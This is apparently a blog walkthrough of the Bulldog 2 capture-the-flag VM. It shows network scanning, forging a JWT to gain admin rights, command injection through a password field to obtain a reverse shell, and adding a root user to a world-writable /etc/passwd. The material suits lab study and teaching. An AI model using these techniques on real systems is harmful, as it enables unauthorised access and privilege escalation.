It's all about security.

A simple blog where you can find different things about digital security.

Bulldog 2: CTF walktrough


Name: Bulldog: 2

Date release: 18 Jul 2018


Author: Nick Frichette

Series: Bulldog



First and foremost we need the IP address of the VM. For that, as usual, we will use arp-scan.

ronin :~# arp-scan --localnet 
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (
[redacted]    [redacted]    [redacted]
[redacted]    [redacted]    [redacted]
[redacted]    [redacted]    [redacted]
[redacted]    [redacted]    [redacted]    08:00:27:ac:f1:85    CADMUS COMPUTER SYSTEMS (DUP: 2)
[redacted]    [redacted]    [redacted]
[redacted]    [redacted]    [redacted]
[redacted]    [redacted]    [redacted]
[redacted]    [redacted]    [redacted]

9 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 2.409 seconds (106.27 hosts/sec). 9 responded
ronin :~# 


Then, we can scan the target, in order to find open ports and running services.

ronin :~# nmap -sV -sC -T5
Starting Nmap 7.70 ( ) at 2018-07-30 11:34 EDT
Nmap scan report for ronin.home (
Host is up (0.00056s latency).
Not shown: 999 filtered ports
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
MAC Address: 08:00:27:AC:F1:85 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 10.61 seconds
ronin :~# 


According to the nmap scan, like the first one, we are going to exploit a web application.


Our entry point

I have to confess that the first 30 minutes was tough and then I realised that we have access to the client side's source code when Node JS based language are involved. That's why I decided to download and read the main script located at:

By reading it, we can find two interesting things. Note, I used the website the un-obfuscate/minify the JS code.


First, the usable URLs:

  return [
                            path: "",
                            component: K
                        }, {
                            path: "register",
                            component: H
                        }, {
                            path: "login",
                            component: j
                        }, {
                            path: "dashboard",
                            component: V,
                            canActivate: [z]
                        }, {
                            path: "profile",
                            component: W,
                            canActivate: [z]
                        }, {
                            path: "profile/:username",
                            component: W
                        }, {
                            path: "users",
                            component: J
                        }, {
                            path: "about",
                            component: Y
                        }, {
                            path: "**",
                            component: X


And, how to create a new user:

return l.prototype.registerUser = function(l) {
                    var n = new x.Headers;
                    return n.append("Content-Type", "application/json"),"/users/register", l, {
                        headers: n
                    }).map(function(l) {
                        return l.json()


 return l.prototype.ngOnInit = function() {}, l.prototype.onRegisterSubmit = function() {
                    var l = this,
                        n = {
                            username: this.username,
                            password: this.password
                    return this.validateService.validateRegister(n) ? this.validateService.validateEmail( ? void this.authService.registerUser(n).subscribe(function(n) {
                        n.success ? ("You are now registered and can log in", {
                            cssClass: "alert-success",
                            timeout: 3e3


So, we will create a new user and we will analyse the authentication process.


Creating a new user

According to what we found in the source code, we can easily create a new user with this following POST request:

ronin :~# curl -X POST '' -H 'Content-Type: application/json' -d '{"name": "Amonsec", "username": "amonsec", "password": "amonsec1234", "email": ""}'
{"success":true,"msg":"User registered"}ronin :~#

From nothing to admin

Now, let's take a closer look at the authentication process and for that I will use BurpSuite.

First, let's catch the HTTP POST request that we are sending to the server when we submit the login form:


At this point, we can intercept the response from the server:


As we can see, a JWT token is crafted by the server and few others parameters.


We can easily decode this token with the following website:


Now, if we come back to the JS source code, we can see that in different places the auth_level variable is checked. 

Moreover, the master_admin_user seems to be the highest right.

 }, l.prototype.isAdmin = function() {
                    var l = localStorage.getItem("user");
                    return null !== l && "master_admin_user" == JSON.parse(l).auth_level
                }, l.prototype.storeUserData = function(l, n) {
                    localStorage.setItem("id_token", l), localStorage.setItem("user", JSON.stringify(n)), this.authToken = l, this.user = n
                }, l.prototype.loadToken = function() {


So, we just have to change our current JWT token's authentication level for 'master_admin_user' via and to copy past in BurpSuite the new token. That's how we can gain admin privileges in the web application.


Code execution

With our fresh admin privileges, now , we can navigate to the /dashboard URL. This is a basic form, but the interesting thing about this form is that the creator of the application tell us that it's for a CLI tool, which means that we can probably find a way to inject some arbitrary code.


Let's try a simple example in my local system. I can run a simple command with few flags:

ronin :~/Desktop# ls -la
total 128
drwxr-xr-x  6 root root 20480 Jul 28 11:23 .
drwxr-xr-x 56 root root  4096 Jul 30 11:32 ..
-rw-r--r--  1 root root  4411 Jul 28 11:23
-rw-------  1 root root  2671 May  5 14:44 .gdb_history
drwxr-xr-x 34 root root  4096 Jun 29 18:41 HTB
-rw-r--r--  1 root root 75127 Jul 26 12:30 main.js
drwxr-xr-x  7 root root  4096 May 24 15:40 RastaLab
drwxr-xr-x 64 root root  4096 May  2 12:03 .secret
drwxr-xr-x 29 root root  4096 Jun 11 11:15 vhl
ronin :~/Desktop# 


But now, If I use the ; character I will chain other commands:

ronin :~/Desktop# ls -lah; id; whoami
total 128K
drwxr-xr-x  6 root root  20K Jul 28 11:23 .
drwxr-xr-x 56 root root 4.0K Jul 30 11:32 ..
-rw-r--r--  1 root root 4.4K Jul 28 11:23
-rw-------  1 root root 2.7K May  5 14:44 .gdb_history
drwxr-xr-x 34 root root 4.0K Jun 29 18:41 HTB
-rw-r--r--  1 root root  74K Jul 26 12:30 main.js
drwxr-xr-x  7 root root 4.0K May 24 15:40 RastaLab
drwxr-xr-x 64 root root 4.0K May  2 12:03 .secret
drwxr-xr-x 29 root root 4.0K Jun 11 11:15 vhl
uid=0(root) gid=0(root) groups=0(root)
ronin :~/Desktop# 


This is the exact same thing with this form. We will inject a ; in the password variable, followed with the system command that we want to execute.

For example, a python reverse shell.



That will give us a low privilege reverse shell.


Privilege escalation

We can find that the /etc/passwd file is writable by the any user in this system.

node@bulldog2:/$ find /etc -perm -o+w -type f 2>/dev/null
find /etc -perm -o+w -type f 2>/dev/null
node@bulldog2:/$ ls -la /etc/passwd
ls -la /etc/passwd
-rwxrwxrwx 1 root root 166 Jul 31 15:19 /etc/passwd


So, nothing really complex here,. First, we will create a simple password.

ronin :~# perl -le 'print crypt("offsec1234", "aa")'
ronin :~# 


Then, we will add a new root user.

node@bulldog2:/$ echo "offsec:aag8bHk/BoF1k:0:0:offsec:/root:/bin/bash" >> /etc/passwd
<Hk data-preserve-html-node="true"/BoF1k:0:0:offsec:/root:/bin/bash" >> /etc/passwd


That's how, finally, we have a root access to the system.